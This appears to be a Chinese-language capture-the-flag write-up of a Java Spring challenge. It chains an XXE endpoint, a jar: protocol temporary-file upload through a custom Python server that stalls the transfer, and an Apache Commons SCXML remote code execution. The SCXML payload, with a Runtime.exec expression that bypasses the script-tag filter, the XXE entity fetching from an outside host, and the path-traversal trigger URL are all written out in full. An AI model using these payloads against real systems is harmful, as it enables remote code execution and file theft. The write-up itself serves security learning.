接水泡
package BOOT-INF.classes.com.example.demos;
import java.io.File;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
@EnableAutoConfiguration
@Controller
public class Test {
private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(fileName);
NodeList nodes = doc.getElementsByTagName("script");
if (nodes.getLength() != 0)
return Boolean.valueOf(false);
return Boolean.valueOf(true);
}
@RequestMapping({"/object"})
@ResponseBody
public String object(@RequestParam(name = "object", required = false) String object) throws Exception {
SCXMLExecutor executor = new SCXMLExecutor();
String file = "file:///home" + File.separator + object;
try {
if (check(file).booleanValue()) {
SCXML scxml = SCXMLReader.read(file);
executor.setStateMachine(scxml);
executor.go();
return "X ME , X ME , XX ME ~~";
}
System.out.println("nonono");
} catch (Exception e) {
System.out.println(e);
}
return "X E , X E , XX E ~";
}
@RequestMapping({"/xxe"})
@ResponseBody
public String xxe(@RequestParam(name = "uri", required = false) String uri) throws ParserConfigurationException, IOException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(uri);
NodeList nodes = doc.getChildNodes();
String res = "";
for (int i = 0; i < nodes.getLength(); i++) {
if (nodes.item(i).getNodeType() == 1)
res = res + nodes.item(i).getTextContent();
}
return res;
}
}
xxe路由可以通过file协议或者netdoc协议读取文件,后者可以列目录
object路由在通过check之后,读取传入的文件路径,然后进行scxml解析
这个scxml最近出现了一个RCE漏洞
https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/
scxml RCE
check过滤了script
标签,但是我们可以使用assign
代替
le1a.xml内容如下
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<assign location="s" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator')"/>
</onentry>
</state>
</scxml>
XXE之jar协议上传临时文件
要实现rce,必须要上传我们的poc,但是这里除了xxe以外,并没有上传点,于是学习到一个trikejar协议上传临时文件
将le1a.xml
重命名为le1a.jar
,利用jar协议
去读取le1a.jar
的内容,但由于必须要使用!
指定解压哪个文件,这里的jar本身就是我们改的后缀名,本质不是一个压缩包,所以我们随便指定一个不存在的le1a.txt
即可
xxe.xml放在http服务器上
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "jar:http://ip:4444/le1a.jar!/le1a.txt" >]>
<root><name>&xxe;</name></root>
通过题目的xxe功能去访问服务器上的xxe.xml文件
http://127.0.0.1:8080/xxe?uri=http://ip:7777/xxe.xml
使用server.py
构建一个传输服务器,用于将le1a.jar
上传到题目环境中
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = '0.0.0.0'
listen_port = 4444
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
可以看到临时文件已经存在于题目环境中,内容即为rce的poc(如果是打远程,可用netdoc协议去列出/tmp目录下的文件)
通过object路由去触发rce漏洞即可(这是我本地环境中的tmp目录,题目环境的tmp目录为/tmp)
http://127.0.0.1:8080/object?object=../../../../var/folders/45/j2rhfghn4s52ky4yznld54400000gn/T/jar_cache60887227063502351.tmp
打远程
我造!!!!!!!!!
参考
https://jlkl.github.io/2020/08/24/Java_03/
https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/